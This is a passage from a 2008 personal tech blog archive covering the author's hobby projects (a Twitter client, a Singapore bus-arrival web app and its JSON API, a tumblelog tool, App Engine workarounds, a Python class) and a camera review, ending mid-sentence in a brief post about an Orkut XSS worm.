Quick Links
- Cause of Zune 30 leapyear problem ISOLATED! - Zune Boards : nifty
- Origami In the Pursuit of Perfection | Story of ASICS : beautiful storytelling
- Zine | Weblog Engine : I plan to play with this time permitting. Hopefully, this evolves into a credible Wordpress alternative.
- How to launch a new product " The Jason Calacanis Weblog : useful tips
- On throwing shoes at President Bush : The Acorn makes a great point
- Inventor's 2020 vision: to help 1bn of the world's poorest see better | The Guardian
- Ford v. Toyota - A Modern Parable
- more links | rss
Mitter 0.4
After a long time, we have a new Mitter release. What's Mitter you say? Mitter is a sweet and simple Twitter client for Linux desktops. You can use it as a regular graphical app that sits in your system tray till you need it or as a CLI app tucked away in one of your half a dozen terminal windows.
There isn't much new feature wise in this release. The Changelog is there for you to peruse. Just think of it as a release that rolls up all the current fixes and lets us focus on the next set of features :-)
If you are a Twitter user running Linux, do give Mitter a try! It's really nice, and that's not just me saying it :-)
Source packages can be downloaded from Mitter's project page while Ubuntu users can use Sugree's PPA to get the latest version.
Incidentally, the release names for the 0.4 cycle will be based on quotes from Jurassic Park, in honour of Michael Crichton.
techtalk | 0 comments | permalink | 12.11.2008 19:10 SGT
NextBus meets gothere.sg
Without a doubt, gothere.sg is one of the best Singapore-focussed map sites today. It may not be the best in terms of content but it's surely the best in terms of usability.
They have this feature where they show little bus stop icons on the map which you can click to bring up a list of bus services operating at that stop. They also include a link to SBS Transit's mobile iris website to check when the next bus is arriving. You can see where this is going :-)

I just put together a tiny Greasemonkey script which replaces the link to iris with a link to my NextBus app. If you have Greasemonkey already setup in your Firefox, you can install the script by clicking here: NextBus & gothere.sg
When I find some time in the future, I'll update the script to fetch the arrival timings and show them within the bubble itself, instead of having to load a new page.
As always, bug reports are welcome. :-)
techtalk | 0 comments | permalink | 06.11.2008 18:23 SGT
SBS NextBus: The Next Release
I've just pushed to production a new version of NextBus, a web-app that I created for tracking bus arrival information at bus stops in Singapore. Read more about it in my earlier post announcing NextBus. Now before I get into what's new, let me first provide you with a list of things that provided the impetus for this new release.
Firstly, NextBus is way more popular than I expected it to ever be. Currently, the site receives well over a thousand requests per day! Considering that I spent zero energy in marketing it, I am quite happy with the uptake and have to thank everyone for using it as well as for spreading the word about its existence! What this also means is that I now have an incentive to keep maintaining it and making new releases!
Secondly, nearly 40% of the site's usage is via Jon's integration of NextBus with isingeo.com and singeo.com.sg. That's quite a few people who are accessing the app only indirectly. And this is despite the fact that the mashup that Jon created is a very crude one relying on just embedding the sbsnextbus.appspot.com pages within his sites. Could I do something to improve the quality and scope of such mashups?
Thirdly, the demographic that uses the app is quite different from my initial expectations. When I first released the app, I had assumed that the majority of requests would come from mobile phones and the app's design & implementation was based on this assumption. But a look at the logs pulled from Google Analytics reveal that the reality is quite different:

There's a caveat to these numbers: the tracking code is only used on the home page. If you visit only the results pages or use the app via isingeo.com, etc., your usage won't show up in the data above. Nevertheless, as you can see, over 45% of usage is from full-fledged desktop browsers. If you count the iPhone too, the proportion of visitors using a fully capable browser goes up by another 18%. The conclusion from all this data? Although I designed the NextBus app for browsers that face network latency & bandwidth constraints - like my Nokia N73 browser - there's significant usage from browsers that face no such constraints. So a substantial number of users are getting a sub-optimal experience from the site.
And finally, the launch of PublicTransport@SG couple of weeks ago. This new site is maintained by the Land Transport Authority and includes real time bus arrival information for quite a few bus stops around town. The obvious benefit over SBS Transit's iris service is that LTA's information includes timing information for buses operated by SMRT. Apart from providing arrival information on the PublicTransport@SG site, LTA has also launched an SMS enquiry service similar to iris. However, there is no trace of a mobile optimized version of the site. Thus, there is scope for me to do some work after all :-)
So these were the things I had in mind while working on the three big features in this new release.
Optimized site for capable browsers If your browser can handle it, it will be presented with a results page that is much faster to load. This is done by querying for all the different services at your particular bus stop in parallel using AJAX. Once the page is loaded, you can refresh the results without causing a full page reload. You can also refresh results for just one particular service by clicking its link. For other (mobile phone) browsers which can't handle AJAX, the old style static html results page will be served. I've tested this in Firefox, IE 6/7 and Opera on the desktop. The AJAX powered results also work on the iPhone. If there's something broken with this feature, please do get in touch! Note: if you have saved the results pages as bookmarks, you'll not get the AJAX effect since the URLs have changed. Please update your bookmarks.
JSON API With this release, I am launching a publicly accessible API to provide developers with access to bus arrival data in a clean format. The whole AJAX experience is itself powered by this API. I hope the release of this API will spur the creation of lots of great mashups! The details of the API are documented further down this post and I welcome developer feedback for this feature. Also, this feature finally makes NextBus Web 2.0 compliant. ;-)
PublicTransport@SG integration As you may have guessed (if you actually read the preamble!), NextBus now integrates results from LTA's site. If the bus stop you query for happens to be one of the (as of now) 213 stops that PublicTransport@SG provides results for, NextBus will pull results from there. By virtue of this, arrival info for SMRT buses is also available for these 213 stops.
That's about it! I urge you to try out the new release and let me know if you find anything that's broken or doesn't work as expected. If you do find NextBus to be more useful than ever, please talk about it! Marketing!
JSON API
The API is very simple. There are two URI end points that the API provides:
http://sbsnextbus.appspot.com/api/v1/<busstopnumber>/-> Returns the stop description (if available) and a list of bus services operating at the queried stop.http://sbsnextbus.appspot.com/api/v1/<busstopnumber>/<service>/-> Returns arrival timings for the queried bus service & stop combination.
Examples: http://sbsnextbus.appspot.com/api/v1/92049/ and http://sbsnextbus.appspot.com/api/v1/92049/15/
The response is in the JSON format. The response schema should be pretty obvious looking at the results to the above query.
To facilitate building of browser based mashups that use the API, I've also provided support for JSONP callbacks using the callback=foo parameter, like so: http://sbsnextbus.appspot.com/api/v1/92049/?callback=myCallbackFunction
Things to watch out for:
- In the API response, the
codeattribute value should be200. If it isn't, then something went wrong. If possible, the cause of the error will be sent back as the value of amessageattribute. Example: http://sbsnextbus.appspot.com/api/v1/00000/ - There's some inconsistency between SBS iris & PT@SG regarding the use of service numbers. While PT@SG truncates leading zeros (service
15instead of015), iris demands that no truncation take place. Hence, you should use the service number strings exactly as returned by the API without any modifications between successive calls. - The backend caches the arrival timing information for one minute. Hence, there's no point in making calls for the same service & stop combo more than once a minute.
- Don't treat NextBus as an authoritative source of bus services & stops in Singapore. When the API returns a list of services operating at a stop, it only means that the API can provide arrival info for those services. It does not mean that that list of bus services is the complete list of services operating at that stop.
Do get in touch if you have any concerns about this API. If you go ahead and build something using the API, I would love to hear about it!
techtalk | 2 comments | permalink | 30.10.2008 18:11 SGT
Dropbox without Gnome
Dropbox, the 'it just works' file syncing service, released their Linux client recently. Unfortunately, it has a heavy Gnome/Nautilus dependency. If you don't use Gnome, you can get Dropbox to work without that baggage with these steps:
- Download the closed source Dropbox Linux client from http://www.getdropbox.com/download?plat=lnx.x86 (x86_64 for 64 bit)
- Extract the contents and you should get a
.dropbox-distfolder out of the archive. Move the folder to$HOME - Run
~/.dropbox-dist/dropboxd.
The first time you run the dropboxd daemon, a wizard will prompt you to configure the client for your machine. By default, Dropbox syncs the contents of the ~/Dropbox folder and as long as the dropboxd daemon is running, it will transparently sync that folder with your Dropbox account. To ensure that the daemon runs whenever you use your computer, just add a symlink to it in your ~/.kde/Autostart/ folder or equivalent location.
You don't actually need to do anything beyond that since it 'just works'. But if you feel like getting hold of some of the info that the Nautilus client provides, you can download this command line utility that some kind soul has written. Hopefully, someone out there is working on KDE integration even as I write this!
The only thing that I am syncing right now with my Dropbox account is my Firefox bookmarks and history information. Firefox 3 stores this data in a file called places.sqlite which lives in the Firefox user profile folder. On my work and home computers, I just moved this file to my ~/Dropbox folder and symlinked to it from the profile folder. It's been working ok for me so far without any conflicts. Let's see if this turns out to be a better solution than Weave which has never ever worked for me.
techtalk | 9 comments | permalink | 17.09.2008 12:22 SGT
SBS NextBus: Behind the Scenes
I must admit that I am slightly surprised by the positive reception to the SBS NextBus app that I announced in my previous post. I thought it would languish in obscurity like most of the other toys that I've created over the years but a positive recommendation from Mr Brown turned on a firehose of traffic that, after almost a week now, still hasn't died out.
The attention also reminded me of how old this blog is now. When I started it, Sounds from the Dungeon sounded like a cool name and had some meaning to boot. Now I am old and jaded and it just grates on my nerves whenever someone writes words like, Deepak of Sounds from the Dungeon says.. It's high time I streamlined the whole antrix.net experience, getting rid of all the archaic and disconnected stuff around here, reorganizing the content into a cohesive whole and getting rid of the whole dungeon metaphor in the process.
Anyway, getting back to topic, I do hope that the traffic to the SBS NextBus app converts to a steady userbase; there's nothing like your users screaming at you to provide motivation to maintain the app!
Speaking of maintaining the app, I committed a couple of feature additions to SBS NextBus last night and with those, I think the app is basically done. The only updates it is likely to see are when the parsers break because SBS Transit decided to change something upstream. I do hope such situations would be really rare!
With the app basically done, I figured it would be worthwhile to describe here some of the technical bits involved in building the app. If you are the kind that enjoys such geekery, read on :-)
As is obvious from the domain - sbsnextbus.appspot.com - the app is running on Google App Engine. The basic application is fairly straight-forward but there are a couple of twists in its implementation that are worth noting. First of all, the core logic behind the app is dead-simple. When a user requests for bus arrival info at a stop, the app must:
- Fetch page from the mobile iris site for a bus stop and parse that page for services operating at the stop.
- For each service, fetch page from iris that shows arrival info at that stop.
- Collate results and render output page.
I had the basic code structure and rough-cut implementation of this done in about an hour or so, most of which was spent in writing the html parsing bits which I wrote based on html served by the mobile iris site to Firefox. This was a mistake. When I actually started fetching pages from App Engine's development server, the parsers broke down because iris was serving different html to these requests! One quick way to fix this would have been to emulate Firefox's User Agent in the requests to iris. Unfortunately, App Engine's urlfetch currently doesn't provide any way of overriding the user agent identifier. So I had to basically rewrite the parsing bits to adapt to the different html. It didn't take much time but still counted as wasted effort.
Once the basic app was ready, I had to tackle what I knew would be a problem going in. For those of you who are not aware of its design, App Engine does not allow for long running requests in apps and requires that each HTTP request to your app be served within a short time. If you exceed this short time interval at your disposal, you app process will be killed and the user's request terminated. Although Google does not document the exact duration, looking at App Engine's app monitoring dashboard, I can say that this time limit is around 8 seconds, i.e. every HTTP request to your app has to be handled and a response sent back within 8 seconds. Since App Engine also forbids spawning of threads or processes, you are essentially limited to less that 8 seconds of sequential processing from request to response. For the NextBus app, if it needs to query the iris site for 10 bus numbers at a particular bus stop, all those requests have to happen sequentially and there's no telling how long each remote request would take to complete. Thus, it is quite likely that the 8 second limit is exceeded and your app process is killed for taking too long to complete. The fact that App Engine's urlfetch call does not support specifying request time outs just exacerbates the problem.
Thankfully, the App Engine environment doesn't just summarily kill your app on exceeding the alloted time quota. Instead, your app receives a DeadlineExceededError exception and is given a few more cycles to finish cleaning up before it is killed for good. So we can exploit this last chance at redemption in a manner similar to this psuedocode:
try:
for service in services:
if service not in memcache:
# fetch page from iris
# parse html and extract timings
# add to memcache
else:
# fetch timings from memcache
# add timings to http response
#return http response
except google.appengine.runtime.DeadlineExceededError:
# send as response a HTTP redirect to ourselves:
# 'http://domain/stop/?number=[stop number]&random=[random int]'
So what's happening here? The core idea is that in the event that our application process receives the DeadlineExceededError exception, we save our state and redirect the user to make the same request one more time. In the subsequent request, we continue from where we left off last time and hopefully in the span of this new request, we'll be able to finish processing the request. If not, rinse and repeat!
State communication between requests can be done via url request parameters or via saving/reading from the Datastore or via memcache. For this app, I chose the memcache approach. Once a bus service's arrival timing is known, it is immediately saved to memcache with an expiry time of 1 minute since after a minute, the arrival timings would be practically useless.
Thus, this trick of redirecting to self and spreading the processing load between multiple requests allows us to effectively work around the 8 seconds limitation imposed by App Engine. However, there's one final issue to be resolved. The class of the exception thrown seems to vary with environment. After a bit of googling and testing, I ended up with something like this:
try:
from google.appengine.runtime import DeadlineExceededError
except:
# on the development server
from google.appengine.runtime.apiproxy_errors import DeadlineExceededError
try:
# this was noticed in the logs after deployment
from google3.apphosting.runtime import DeadlineExceededError as DeadlineExceededError2
except:
DeadlineExceededError2 = DeadlineExceededError
# some app code
try:
# app logic
except (DeadlineExceededError, DeadlineExceededError2):
# serve redirect
Hopefully, the inconsistency in the exception class resulting in the boilerplate above will be fixed in a future App Engine update.
That wraps up all that I remember as worth writing about the SBS NextBus app. But before I end, a few words on the general experience of working with App Engine. After oohEmbed.com, this is the second app I've built that runs on App Engine. For these kind of apps with bare-bones functionality, using the App Engine is a no-brainer simply because the deployment is so damn easy! For the NextBus app, after I had everything working on the local development server, I just had to go online and register the app id (sbsnextbus), upload the code and visit sbsnextbus.appspot.com. The code just worked and I went from development to deployment in under one minute! The only code change I had to make subsequently was regarding the import of the DeadlineExceededError exception as noted above. Compare this to the process of configuring Python scripts to be served under cgi, fcgi or mod_python in traditional hosting environments where getting the deployment right often takes as long as developing the entire app.
From these two app building experiences, I can confidentally say that if you are writing simple Python web apps, you should strongly consider using the App Engine environment. However, this is a very qualified recommendation since I haven't yet used the Datastore and have no idea how easy or difficult it would be to adapt to that data model.
techtalk | 4 comments | permalink | 08.09.2008 18:52 SGT
Improving SBS Transit's iris NextBus
If you happen to use public transport in Singapore and also happen to surf the internets on the go, chances are that you've heard of SBS Transit's NextBus information service, iris. I am a frequent user of this service and although I like it, there is one particular aspect of it that really annoys me. Allow me to illustrate.

This above is the home page of the iris service on which you enter the bus stop number & the bus service number for which you wish to know the arrival time. Although it isn't obvious from the page, you can leave the bus service field empty and submit the form. When the bus service number is not specified, you get a page that lists all the services operating at the specified bus stop. Like this:

Now once you get this page, you can click on any of the service numbers to get the estimated arrival times. Clicking on 93 above would get you:

And this is what annoys me. It is quite likely that I would be interested in more than one of these bus numbers. But to get information on multiple service numbers, I have to navigate back & forth between the service numbers listing & the individual service numbers arrival info.
To fix this annoyance, I made sbsnextbus.appspot.com. When you visit this new site, you are greeted with this page:

As earlier, you just enter the bus stop number and hit Fetch. If all goes well, the resulting page will look something like this:

There, all the arrival information in one easily accessible page! No more annoying back & forth navigation! So if you use public transport in Singapore and also happen to surf the internets on the go, please test out sbsnextbus.appspot.com and let me know how it works (or not!) for you.
Oh, here's the QR Code to the site, if your phone supports reading these digital hieroglyphics:
Update: (4/Sep/2008) Hello to everyone coming here via Mr Brown's blog! Thanks for your interest and for trying out this app! Your usage has revealed a few corner cases and bugs which I have now fixed. I've also made a few cosmetic changes suggested by Eric (in comments) and Jon (of iSinGeo.com) so that the pages display better on an iPhone.
Update: (7/Sep/2008) This app is now integrated with SinGeo as well as iSinGeo.com! Read the details on the SinGeo blog.
Update: (8/Sep/2008) The app now shows bus stop descriptions.
Update: (9/Sep/2008) Read the blog post describing some of the tech behind the app.
Update: (30/Oct/2008) New release with new features.
techtalk | 31 comments | permalink | 01.09.2008 15:12 SGT
Shared stuff, APIs, feeds, oh my!
There's no doubt about the fact that we are generating lots and lots of content as part of our online activities. We blog, leave comments, bookmark sites, upload photos and videos, provide status updates and what not. There's so much activity that it's hard to keep track of it all. RSS/Atom feeds have helped but it's just too much work to track down, subscribe and manage a dozen or more feeds for every person that you know.
On a personal level, I've tried to provide feeds for as many of the things I create/share as possible. There's this blog, the tidbits blog, the tumblelog, photos on flickr, code commits, travel updates, status updates and more. Recently was my attempt at bringing all of these bits and pieces of info back to a single location on antrix.net. Although slick (bias!), it really isn't what a central clearing house of a person's activities should look like. As it stands, Recently is rather limited: it doesn't provide permalinks nor feeds and does it allow interaction in the form of comments, etc.
Enter stage left: FriendFeed.
I've used FriendFeed on and off for some time now, most of the it spent trying to figure out what exactly it does. I still haven't so I will not try to explain. What I will do is to tell you that as of now, I've settled on letting FriendFeed track as much of my publicly accessible info as possible. So everything I mentioned above, with the exception of twitter updates, is now available to you - dear readers - on a single FriendFeed page. Love it or ignore it!
If you are on Facebook, a smaller helping of this stuff should also appear in your Facebook news feed. Of course, only if you are my 'friend'.
There's exactly one thing that I did towards this shuffling of data that's worth noting here. Regular readers will know that I've long been using del.icio.us as a link blog. I use it so much that I even wrote Dumble (and now oohEmbed) as a friendly tumblelog style front end to del.icio.us. So del.icio.us has to remain as the definitive link archive in these quarters.
With that in mind, you can understand why I've been so slow on the uptake of Google Reader's shared items feature, although I've been using Reader exclusively since perhaps late 2006. Simply put, I didn't want to fragment my shared links under two different sources - one of which wouldn't play ball with Dumble. The horror! The only reasonable thing to do was to write some code that took shared items from Google Reader and posted them to my del.icio.us account. And so I wrote yummy. My last blog post alluded to this wee bit of code and indeed, yummy does incorporate feedback from you, dear readers. Where by readers, I mean Harish!
On the whole, I think I'm happy with the current situation. Of course, I'd much happier if we were in the year 2012 with all this drama behind us - a distant memory of less civilized times. :-)
Now, I shall go pack my bags since, as Dopplr says, I'm scheduled to be in Mumbai tomorrow!
techtalk | 2 comments | permalink | 09.07.2008 17:02 SGT
Python: constrained containers
As it happens, I was playing with the del.icio.us API today because of reasons which I shall hopefully elaborate upon in the coming few days. While cooking up some code to interact with the API, I saw the need to model a basic del.icio.us post entity. For my needs, this entity wouldn't have to be much more than a dumb dictionary with keys like url, description, etc. So I started out that way but pretty soon I thought, wouldn't it be nice to be able to write post.url instead of post['url']? Further, wouldn't it be nice to constrain the keys in the dictionary to those required and prevent typo errors such as post['descrption'] instead of post['description']?
This seemed like the perfect opportunity to put into practice some of the stuff I'd learned about "new" style classes not too long ago. So I wrote the following class which implements the requirements laid out in the preceding paragraph. Since I'm just getting the hang of this stuff, please critique the code!
class Post(object): """Class to model a del.icio.us Post. It works like a struct/dict like object which limits keys to a retricted subset, i.e. those used in a del.icio.us post.""" __slots__ = ['description', 'url', 'extended', 'tags'] def __getitem__(self, key): if key in self.__slots__: return self.__getattribute__(key) else: raise KeyError def __setitem__(self, key, value): if key in self.__slots__: self.__setattr__(key, value) else: raise KeyError('Given key is not allowed in class %s'\ % self.__class__.__name__) def __contains__(self, key): try: self.__getitem__(key) except: return False return True # urllib.urlencode() just needs this beyond the basic stuff above def items(self): return [(k, self[k]) for k in self.__slots__ if k in self]
And here's the usage of the class.
>>> p = Post() >>> p.url Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: url >>> p.url = 'http://google.com' >>> p.url 'http://google.com' >>> p['url'] 'http://google.com' >>> p['desc'] Traceback (most recent call last): File "<stdin>", line 1, in <module> File "yummy.py", line 17, in __getitem__ raise KeyError KeyError >>> p['description'] = 'Google homepage' >>> p['description'] 'Google homepage' >>> p.items() [('description', 'Google homepage'), ('url', 'http://google.com')] >>> p.tags = 'search' >>> p.items() [('description', 'Google homepage'), ('url', 'http://google.com'), ('tags', 'search')] >>> 'extended' in p False >>> p.extended = 'homepage of the world' >>> p.items() [('description', 'Google homepage'), ('url', 'http://google.com'), ('extended', 'homepage of the world'), ('tags', 'search')] >>>
So, what am I doing wrong? :-)
techtalk | 6 comments | permalink | 04.07.2008 18:04 SGT
Announcing oohEmbed!
In my last post here, I mentioned some items on my ever growing TODO list and on top of that list was: Finish the web app that I've started working on.
Well, it's time to scratch that one off the list since oohEmbed.com is now live!
A bit of background before I get to what is oohEmbed. As you know, I've been working on and off on Dumble for the past several months. Now Dumble is a purely browser based application with antrix.net serving up just a bunch of static files. Because of this non-involvement of server-side programming and the web browser's same origin policy restrictions, there's a limit to how much smart URL-content-inferring can be achieved in Dumble. With the current design, Dumble can go only as far as the number of websites out there that support JSON APIs.
So on one side, I was toying around with adding a server-side component to Dumble's design to alleviate this problem. On the other, I was looking to kick the tires around Google App Engine. In between the two, the oEmbed specification was announced and thus was born oohEmbed.
So what exactly is oohEmbed? In the simplest terms, oohEmbed acts like a oEmbed API compatible proxy service between you (the developer) and target websites. For more details, visit the oohEmbed.com web site where I've described it a bit more with some examples.
Of course, I've re-written parts of Dumble to use this new oohEmbed service. You can find the forked version at oohembed.com/dumble/. If things go well, I'll designate this as the authoritative version and switch/redirect the version at antrix.net/dumble/ to it.
Thanks to the folks behind oEmbed for drafting the spec and to Google for creating App Engine. Although the App Engine environment is restrictive development wise, there's something to be said for a stack which allows one command - appcfg.py update myapp/ - deployments to the cloud! And it's all Python so I couldn't be any happier!
Please test out oohEmbed and let me know what you think. If you really want to please me, go build something on top of it!
techtalk | 4 comments | permalink | 01.06.2008 22:19 SGT
Dumble Update #3
Alright, time for another Dumble update. For those tuning in late, Dumble is a web-app that auto-magically creates a tumblelog out of someone's delicious bookmarks. More background in this introductory post from last November.
So what's been cooking since the last Dumble update which was all the way back in December? For starters, Dumble's source code repository is now online so you can follow Dumble's progress as it happens!
Looking at the changes since December, apart from the bug-fixes and speedup related commits, I've added support for three more sites — Metacafe, Twitter and Wikipedia — while improving support for Amazon. While the Metacafe support just relies on the standard video embed widget, the Twitter and Wikipedia support leverages their respective APIs.
There are a few minor UI changes. You can find a feed subscription link to the currently viewed user's delicious bookmarks.
Finally, there's one change explicitly to support embedding of Dumble on other websites. Let's say you have a website and wish to have your own copy of Dumble running over there tumbling your delicious bookmarks. One way to do this is to just copy all the Dumble code and host it on your site. While I'm perfectly happy if you do that, there is a drawback to that approach. As and when I make any changes to Dumble, you'll have to keep up by modifying your copy of Dumble.
An easier way is to just embed http://antrix.net/dumble/ onto your site. Just copy the following HTML snippet into an index.html file and place it somewhere on your website. Be sure to modify the delicious username and optionally the tag parameters.
<html>
<head>
<title>Dumble : auto tumble your delicious links</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<style type="text/css" media="screen">
html, body {
margin: 0;
padding: 0;
border: 0;
outline: 0;
}
</style>
</head>
<body>
<iframe src="http://antrix.net/dumble/?u=USERNAME&t=TAG&title=My delicious tumblelog" height="100%" width="100%" frameborder="0" scrolling="auto">
Since your browser doesn't support IFrames, please <a href="http://antrix.net/dumble/?u=Ravages">visit Dumble directly</a>.
</iframe>
</body>
</html>
Did you notice the title parameter in the iframe src URI? That's something I added just to enhance this kind of embedding of Dumble. The value of that title parameter will become the window/browser title.
You can see an example of such an embedded Dumble over on Selective Amnesia. In industry parlance, this would be called a reference installation. ;-)
As usual, please test Dumble on your browser/OS combo and let me know of any stuff that breaks. The Wikipedia support is especially hacky and I would appreciate some feedback on that. :)
techtalk | 0 comments | permalink | 28.05.2008 14:36 SGT
Dumble Update
This is a quick update on a few small improvements I've made to Dumble. If you don't know what Dumble is, please read my last post!
Herewith, the minor Changelog:
- There's a new link to quickly add the current user to your del.icio.us network.
- Amazon links now show better sized product images which are fetched using their web services api.
- Fixed a bug in the form where hitting enter key didn't trigger the form's default action. Thanks to Jois for pointing this out!
- Integration with del.icio.us using a View in Dumble bookmarklet and a similar greasemonkey script.
That last bit should really help those of you who liked Dumble but are too lazy to manually type in the url when needed :-)
techtalk | 0 comments | permalink | 28.05.2008 14:36 SGT
Dumble Update #2
I've been working on Dumble on and off since my last update here and there have been quite a few changes since then. Here are the highlights:
- Top Tags: Dumble now fetches the del.icio.us user's top tags so that you can quickly browse around and discover links.
- Session History: As you browse around Dumble, jumping from tag to tag or user to user, your Session History is displayed in a sidebar. This is my way of saying that 'supporting the Back button in an AJAX app is so nasty that I don't even want to attempt it.'
- Cookies: Your last fetched user/tag combo is now saved in a cookie so that the next time you visit Dumble, it'll directly load that combo.
- Internet Explorer 7: Dumble was broken in IE7 for a long time. I finally got around to tracing and fixing the bugs and things should work well in IE7 now. BTW, did you know that something as simple as a trailing comma in an array definition or using
<script src="..." />instead of<script src="..."></script>can confuse IE? - Miscellany: Various other bugfixes and UI/Usability fixes.. like all links show real links instead of javascript code.
With that, my to-do list for Dumble is more or less complete. Of course, adding formatting support for more kinds of links is an ongoing process. But as far as the core feature set is concerned, I think we are at 1.0 and Dumble is ready for wider use!
As always, if you find any bugs or need any new features, please do comment!
techtalk | 0 comments | permalink | 28.05.2008 14:35 SGT
Dumble
Have you heard of tumblelogs? The Wikipedia definition today reads:
A tumblelog is a variation of a blog, that favors short-form, mixed-media posts over the longer editorial posts frequently associated with blogging. Common post formats found on tumblelogs include links, photos, quotes, dialogues, and video.
Popular and genre defining tumblelogs include Anarchaia and projectionist. My own Tidbits is an attempt at creating a tumblelog. However, I found that much of my tumbling is split between my del.icio.us linker and the Tidbits. Which led me to think if it was possible to create a tumblelog out of my delicious linker.
Dumble is born out of that thinking. Dumble takes any user's delicious links and tries to format the links in a form more suited for a tumblelog. For example, if the link is to a Youtube video, then Dumble automatically embeds the video in the page. Same goes for a link to a Flickr photo - the photo is inserted into the page. Take a look at my dumble, you'll get the idea.
Right now, special posts are created for links to Youtube, Google Video, College Humor videos, Flickr, Amazon and IMDb. The IMDb bit is interesting. I've been saving movie ratings on delicious for some time now and some of you started it too after I wrote about it here. So if Dumble finds a rating in the notes field (in the x/y format), it'll automatically substitute the rating with the appropriate number of stars!
Please give Dumble a spin and let me know what you think. Especially IE users since I've done zero testing on IE! If you find a bug, let me know and I'll boot to Windows (ugh!) and see what's breaking. Safari users, Dumble works okay in Konqueror so I'm guessing it'll be okay in Safari too.
I intend to add special post formatting for more sites periodically but there's a technical limitation to what's possible. Which brings me to:
=== Technical Bits ===
Just like Recently, Dumble is a pure Javascript affair with no server side logic involved. Well, at least none on my server ;-) It fetches JSON from delicious and flickr and whereever else possible. Which is kinda the limitation at the moment. For any more complex post creation, I need to fetch the actual page being linked to but since cross domain GET isn't allowed in the browser's security model, I'm stuck :-( I think I'll give up on my pure-JS ambitions and put in a dummy proxy on antrix.net for XMLHTTPRequests. That will allow for more special posts like a Wikipedia summary generator, etc.
My current todo list for Dumble includes back button support and keyboard navigation (like gmail/g-reader/bloglines). If you have any feature requests or comments on implementation, please let me know!
Related Posts: Dumble Update, Dumble Update #2, Dumble Update #3, oohEmbed powered Dumble
techtalk | 0 comments | permalink | 28.05.2008 14:34 SGT
Python + Prism == Your own Rich Internet Architecture?
So what happened is, we needed to build this application at work and it fell upon me to do it. For various reasons, I decided to write the app in a web client/server style where I wrote the app in python/web.py and a regular browser was used to access it. In other words, your fairly standard web app.
Eventually, it was decided that this model wasn't very convenient from an end-user point of view. The need to setup a separate web server (or integrate with an existing server) just to serve the app was a bit too much of a hassle. Plus, all of Firefox's chrome made this app not feel like an app! So what's a guy to do?
I decided to use webpy's baked in server to host the app and Mozilla's Prism as a client for the app. With the following bit of logic, both the client and server can be invoked from the same piece of code.
#!/usr/bin/env python # File: ria.py # Author: Deepak Sarda import subprocess import thread import web def launch_browser(*args): try: # Assuming you already have a Prism webapp profile mapped to http://localhost:8080/ retcode = subprocess.call(['prism', '-webapp', 'helloworld@antrix.net.prism.app']) except: print 'Failed to create client interface' print 'Client exited. We can exit too!' thread.interrupt_main() class App: def GET(self): print """<html><head><title>Hello World!</title></head> <body><h2>Hello World!</h2><p>If you can read this, then you have just created your very own RIA!</p></body></html>""" if __name__ == '__main__': thread.start_new_thread(launch_browser, ()) web.run(('/', 'App'), globals())
Create a shortcut to ria.py and you have your own RIA solution! For bonus points, process all of the python code, web.py, database modules and what not with bb-freeze and you have a zero-install - just unzip and run - RIA!
techtalk | 0 comments | permalink | 10.04.2008 14:43 SGT
Observations on the Ricoh Caplio GX100
As you may or may not know (why not?!), I've had a Ricoh Caplio GX100 for a couple of months now. Long enough for me to be comfortable calling it just GX100. We are buddies now.

Anyway, I think it's about time I blogged about the camera. It's a good excuse to do it too considering the silence lately around these quarters.
So what's good about this camera? It's small, it's fast. It's there and ready when I need it. So when I come across good photo opportunities, I don't miss them for want of a camera. Like this one which was taken one morning on the way to my office.
As the old saying goes, the best camera is the one you have in your hand. And this best camera is not just small and fast and in my hand, it takes damn good photos too! Plus, I just love the 24mm wide lens. A few more months working with this and I think I'll have to get the 19mm adapter. One thing though: after getting used to the Panasonic FZ30's enormous zoom (35-420mm), I do have to adapt my shooting style to work within the limited 24-72mm range.
The ergonomics of the GX100 are fantastic. It's great to hold, all the dials are in the perfect place and the software is intuitive and clutter-free. In fact, the controls are the best I've seen in any camera so far. No amount of explaining here will do it justice. You have to pick one up and play with it for some time.
The GX100 takes beautiful macros. I could describe here how sharp the in-focus elements are or how nice the bokeh is but I suggest you just see some of the macros I've uploaded so far. Sure the focus hunts when in macro mode but do you really care about that? It's not like your subject is going to get up and leave!
Overall, I'm very pleased. So now it's time to talk about some downers.
The biggest short-coming is that the GX100 suffers from a rather limited dynamic range. You really have to keep a close eye on the histogram to make sure you don't blow out the sky or something else. I still haven't been able to take a good sweeping vistas kind of shot where everything from the sky to the landscape is properly exposed. Which is a real pity considering the 24mm wide-angle would be really great at taking such shots. Then again, I see several good landscape photos taken with the GX100 on Flickr so perhaps it's just something that I haven't figured out yet.
Another quibble I have is that if you are shooting in low light in Program or Aperture Priority mode and the required exposure duration is longer than a second, the software just refuses to set that. One second exposure it is, no more! It was only after being left with a few rather under-exposed low-light shots did I realize what was happening. Since there's no Shutter Priority mode (or Tv mode for Canon lovers!), you have to go to full manual to work around this gotcha. Of course, since the GX100 has separate dials to control aperture & shutter speed, using the manual mode is no chore.
Yes, you heard that right. Full manual control with two separate dials in a compact camera!
What else? Not much actually. To sum up, it's a great little camera which may or may not be a bit expensive for your budget. It won't replace your SLR but if you are the kind who shoots with a SLR, you ought to look at the GX100 as a companion camera. Interesting anecdote: I was all set to buy a second hand GX100 from a local photographer. Price and date of transaction were fixed. On the night before the camera was scheduled to exchange hands, the guy tells me he's decided against selling it. When I asked why, he explained that he really liked the macro capability of the GX100. Since he liked taking macros, he could either buy a reasonably good macro lens for his SLR at $300+ or just keep the GX100 as a macro camera while having his SLR for other shots. With the GX100 around, he wouldn't have to swap lenses on his SLR whenever he felt like going macro. True story!
However, if you aren't really into photography and are looking at the GX100 just for its compact size and wide angle capability, I suggest you stay away. Its quirks will be enough to make you think that you just threw away good money at this no-good piece of Japanese thrash! You really have to know what you are doing when using this camera. Case in point: the GX100 flash isn't going to pop-up by itself in low-light - you have to decide whether you want flash or not.
On the other hand, the same quirks would make the GX100 a good learning tool for someone who wants to get serious about his/her photo taking but isn't too keen on carrying a kilogram of photo gear around.
As for me, I think I'll have to start looking at those Pentax SLRs sometime soon!
techtalk | 4 comments | permalink | 28.03.2008 19:20 SGT
Orkut XSS
Aftermath: Let's try and summarize everything here.
On Orkut, you can use arbitrary HTML when scrapping your friends. Rodrigo's worm exploited this 'feature'. What it did was to start with scrapping a malicious flash file. Just viewing this scrap causes the flash object to load which in turn loads our favourite
